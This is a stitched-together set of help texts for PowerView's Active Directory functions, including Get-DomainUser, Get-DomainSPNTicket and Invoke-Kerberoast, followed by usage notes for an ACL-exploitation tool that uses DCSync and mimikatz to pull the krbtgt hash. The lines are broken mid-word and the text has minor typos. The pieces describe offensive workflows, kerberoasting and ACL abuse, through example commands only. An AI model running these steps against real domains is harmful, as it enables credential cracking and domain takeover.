function Convert-LDAPProperty {
<#
.SYNOPSIS
Helper that converts specific LDAP property result fields
and outputs
a custom psobject.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None
.DESCRIPTION
Converts a set of raw LDAP properties results from ADSI/LD
AP searches
into a proper PSObject. Used by several of the Get-Domain*
function.
.PARAMETER Properties
Properties object to extract out LDAP fields for display.
.OUTPUTS
System.Management.Automation.PSCustomObject
A custom PSObject with LDAP hashtable properties translate
d.

function Get-Domain {
<#
.SYNOPSIS
Returns the domain object for the current (or specified) d
omain.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None
.DESCRIPTION
Returns a System.DirectoryServices.ActiveDirectory.Domain
object for the current
domain or the domain specified with -Domain X.
.PARAMETER Domain
```

```
Specifies the domain name to query for, defaults to the cu
rrent domain.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate
credentials
for connection to the target domain.
.EXAMPLE
Get-Domain -Domain testlab.local
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPl
ainText -Force
$Cred = New-Object System.Management.Automation.PSCredenti
al('TESTLAB\dfm.a', $SecPassword)
Get-Domain -Credential $Cred
.OUTPUTS
System.DirectoryServices.ActiveDirectory.Domain
A complex .NET domain object.

}

function Get-DomainSPNTicket {
<#
.SYNOPSIS

Request the kerberos ticket for a specified service princi
pal name (SPN).
```

```
Author: machosec, Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Invoke-UserImpersonation, Invoke-Re
vertToSelf

.DESCRIPTION

This function will either take one/more SPN strings, or on
e/more PowerView.User objects
(the output from Get-DomainUser) and will request a kerber
os ticket for the given SPN
using System.IdentityModel.Tokens.KerberosRequestorSecurit
yToken. The encrypted
portion of the ticket is then extracted and output in eith
er crackable John or Hashcat
format (deafult of John).

.PARAMETER SPN

Specifies the service principal name to request the ticket
for.

.PARAMETER User

Specifies a PowerView.User object (result of Get-DomainUse
r) to request the ticket for.

.PARAMETER OutputFormat

Either 'John' for John the Ripper style hash formatting, o
r 'Hashcat' for Hashcat format.
Defaults to 'John'.

.PARAMETER Credential

A [Management.Automation.PSCredential] object of alternate
```

```
credentials
for connection to the remote domain using Invoke-UserImper
sonation.

.PARAMETER Delay

Specifies the delay in seconds between ticket requests.

.PARAMETER Jitter

Specifies the jitter (0-1.0) to apply to any specified -De
lay, defaults to +/- 0.3

.EXAMPLE

Get-DomainSPNTicket -SPN "HTTP/web.testlab.local"

Request a kerberos service ticket for the specified SPN.

.EXAMPLE

"HTTP/web1.testlab.local","HTTP/web2.testlab.local" | Get-
DomainSPNTicket

Request kerberos service tickets for all SPNs passed on th
e pipeline.

.EXAMPLE

Get-DomainUser -SPN | Get-DomainSPNTicket -OutputFormat Ha
shcat

Request kerberos service tickets for all users with non-nu
ll SPNs and output in Hashcat format.

.INPUTS
```

```
String

Accepts one or more SPN strings on the pipeline with the R
awSPN parameter set.

.INPUTS

PowerView.User

Accepts one or more PowerView.User objects on the pipeline
with the User parameter set.

.OUTPUTS

PowerView.SPNTicket

Outputs a custom object containing the SamAccountName, Ser
vicePrincipalName, and encrypted ticket section.

function Get-DomainUser {
<#
.SYNOPSIS
Return all users or specific user objects in AD.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
```

```
Required Dependencies: Get-DomainSearcher, Convert-ADName,
Convert-LDAPProperty
.DESCRIPTION
Builds a directory searcher object using Get-DomainSearche
r, builds a custom
LDAP filter based on targeting/filter parameters, and sear
ches for all objects
matching the criteria. To only return specific properties,
use
"-Properties samaccountname,usnchanged,...". By default, a
ll user objects for
the current domain are returned.
.PARAMETER Identity
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. C
N=harmj0y,CN=Users,DC=testlab,DC=local),
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108),
or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201).
Wildcards accepted. Also accepts DOMAIN\user format.
.PARAMETER SPN
Switch. Only return user objects with non-null service pri
ncipal names.
.PARAMETER UACFilter
Dynamic parameter that accepts one or more values from $UA
CEnum, including
"NOT_X" negation forms. To see all possible values, run '0
|ConvertFrom-UACValue -ShowAll'.
.PARAMETER AdminCount
Switch. Return users with '(adminCount=1)' (meaning are/we
re privileged).
.PARAMETER AllowDelegation
Switch. Return user accounts that are not marked as 'sensi
tive and not allowed for delegation'
.PARAMETER DisallowDelegation
Switch. Return user accounts that are marked as 'sensitive
and not allowed for delegation'
.PARAMETER TrustedToAuth
```

```
Switch. Return computer objects that are trusted to authen
ticate for other principals.
.PARAMETER PreauthNotRequired
Switch. Return user accounts with "Do not require Kerberos
preauthentication" set.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the
current domain.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Acti
ve Directory objects.
.PARAMETER Properties
Specifies the properties of the output object to retrieve
from the server.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,
DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) t
o bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree
(default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher objec
t.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends sea
rching. Default of 120 seconds.
.PARAMETER SecurityMasks
Specifies an option for examining security information of
a directory object.
One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return del
```

```
eted/tombstoned objects.
.PARAMETER FindOne
Only return one result object.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate
credentials
for connection to the target domain.
.PARAMETER Raw
Switch. Return raw results instead of translating the fiel
ds into a custom PSObject.
.EXAMPLE
Get-DomainUser -Domain testlab.local
Return all users for the testlab.local domain
.EXAMPLE
Get-DomainUser "S-1-5-21-890171859-3433809279-3366196753-1
108","administrator"
Return the user with the given SID, as well as Administrat
or.
.EXAMPLE
'S-1-5-21-890171859-3433809279-3366196753-1114', 'CN=dfm,C
N=Users,DC=testlab,DC=local','4c435dd7-dc58-4b14-9a5e-1fdb
0e80d201','administrator' | Get-DomainUser -Properties sam
accountname,lastlogoff
lastlogoff                                samaccountnam
e
----------                                -------------
-
12/31/1600 4:00:00 PM                     dfm.a
12/31/1600 4:00:00 PM                     dfm

12/31/1600 4:00:00 PM                     Administrator
.EXAMPLE
Get-DomainUser -SearchBase "LDAP://OU=secret,DC=testlab,DC
=local" -AdminCount -AllowDelegation
Search the specified OU for privileged user (AdminCount =
1) that allow delegation
```

```
.EXAMPLE
Get-DomainUser -LDAPFilter '(!primarygroupid=513)' -Proper
ties samaccountname,lastlogon
Search for users with a primary group ID other than 513
('domain users') and only return samaccountname and lastlo
gon
.EXAMPLE
Get-DomainUser -UACFilter DONT_REQ_PREAUTH,NOT_PASSWORD_EX
PIRED
Find users who doesn't require Kerberos preauthentication
and DON'T have an expired password.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPl
ainText -Force
$Cred = New-Object System.Management.Automation.PSCredenti
al('TESTLAB\dfm.a', $SecPassword)
Get-DomainUser -Credential $Cred

function Invoke-Kerberoast {
<#
.SYNOPSIS
Requests service tickets for kerberoast-able accounts and
returns extracted ticket hashes.
Author: Will Schroeder (@harmj0y), @machosec
```

```
License: BSD 3-Clause
Required Dependencies: Invoke-UserImpersonation, Invoke-Re
vertToSelf, Get-DomainUser, Get-DomainSPNTicket
.DESCRIPTION
Uses Get-DomainUser to query for user accounts with non-nu
ll service principle
names (SPNs) and uses Get-SPNTicket to request/extract the
crackable ticket information.
The ticket format can be specified with -OutputFormat <Joh
n/Hashcat>.
.PARAMETER Identity
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. C
N=harmj0y,CN=Users,DC=testlab,DC=local),
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108),
or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201).
Wildcards accepted.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the
current domain.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Acti
ve Directory objects.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,
DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) t
o bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree
(default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher objec
t.
.PARAMETER ServerTimeLimit
```

```
Specifies the maximum amount of time the server spends sea
rching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return del
eted/tombstoned objects.
.PARAMETER OutputFormat
Either 'John' for John the Ripper style hash formatting, o
r 'Hashcat' for Hashcat format.
Defaults to 'John'.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate
credentials
for connection to the target domain.
.PARAMETER Delay
Specifies the delay in seconds between ticket requests.
.PARAMETER Jitter
Specifies the jitter (0-1.0) to apply to any specified -De
lay, defaults to +/- 0.3
.EXAMPLE
Invoke-Kerberoast | fl
Kerberoasts all found SPNs for the current domain.
.EXAMPLE
Invoke-Kerberoast -Domain dev.testlab.local -OutputFormat
HashCat | fl
Kerberoasts all found SPNs for the testlab.local domain, o
utputting to HashCat
format instead of John (the default).
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPl
ainText -orce
$Cred = New-Object System.Management.Automation.PSCredenti
al('TESTLB\dfm.a', $SecPassword)
Invoke-Kerberoast -Credential $Cred -Verbose -Domain testl
ab.local | fl
Kerberoasts all found SPNs for the testlab.local domain us
ing alternate credentials.
```

```
.OUTPUTS
PowerView.SPNTicket
Outputs a custom object containing the SamAccountName, Ser
vicePrincipalName, and encrypted ticket section.

```

```
    This tool can be used to calculate and exploit unsafe
configured ACLs in Active Directory.
    More information: https://blog.fox-it.com/

    Required parameters:
        SharpHoundLocation: location of sharphound.exe

    Optional parameters:
        Domain            : FQDN of the target domain
        Username          : Username to authenticate with
        Password          : Password to authenticate with
        WhatIf            : Displays only the action the s
cript intends to do. No exploitation.
                            Access as well as potential ac
cess will increase if the user account is added
                            to security groups, so the res
ult of this switch may look incomplete.
        NoSecCleanup      : By default, the user will be r
emoved from the ACL and the groups that were added during
runtime when the script is finished.
                            Setting this switch will leave
that in tact.
        NoDCSync          : Will not run DCSync after all
necessary steps have been taken
        userAccountToPwn  : User account to retrieve NTLM
hash of. Only single user accounts supported now. Defaults
to krbtgt account.
        logToFile         : Switch to write console output
to file with the same name as script.
        mimiKatzLocation  : location of mimikatz.exe

    The tool will use integrated authentication, unless do
main FQDN, username and password are specified.
    Please note that while protocol and port are optional
```

```
parameters too, they've not been
    incorporated completely within the script.
